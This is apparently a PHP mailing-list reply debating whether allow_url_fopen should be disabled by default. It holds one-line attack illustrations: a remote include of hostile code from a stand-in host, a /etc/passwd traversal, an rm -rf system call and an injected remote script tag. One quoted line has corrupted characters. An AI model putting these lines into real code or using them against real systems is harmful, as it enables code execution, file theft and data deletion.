Re: allow_url_fopen should be INI_ALL

Russell Nelson wrote: > Yasuo Ohgaki writes: > > 1) change allow_url_fopen to INI_ALL > > 2) disable allow_url_fopen by default > > > > I would like to see these changes in PHP 5.1 and PHP 4.4, since this > > is security related changes. > > What problem are you trying to solve? Attacks against the very common > misuse of: > include "http://example.com/hostile.php" ? > Or attacks against a graphics library: > getimagesize("http://example.com/hostile.jpg") > or XML parser: > simplexml_load_file("êÇ > ¤„&ö¿nü!¿ˆhttp://example.com/hostile.xml") > > Derick Rethans writes: > > I disagree. With proper filtering, or using non-user-supplied > > information there is no problem. > > The problem is that naive programmers think there is no problem > withOUT proper filtering. The sharp edges of 'include' are not > visible enough. I'll bet you that people would not use 'include' and > 'includeremotehostilecode' in the identical manner. How is this any different from include "../../../../../etc/passwd"; Or system("rm -rf ."); Or echo $user_data; where $user_data contains: <script src="http://remote.host/foo.js"></script> There are a lot of places where unfiltered user input can cause some rather severe problems. I agree that we need to improve the overall level of security in PHP, but I am not sure that focusing on allow_url_fopen is very constructive. There are far far more web sites that have these other unfiltered user data issues than have url_fopen issues. -Rasmus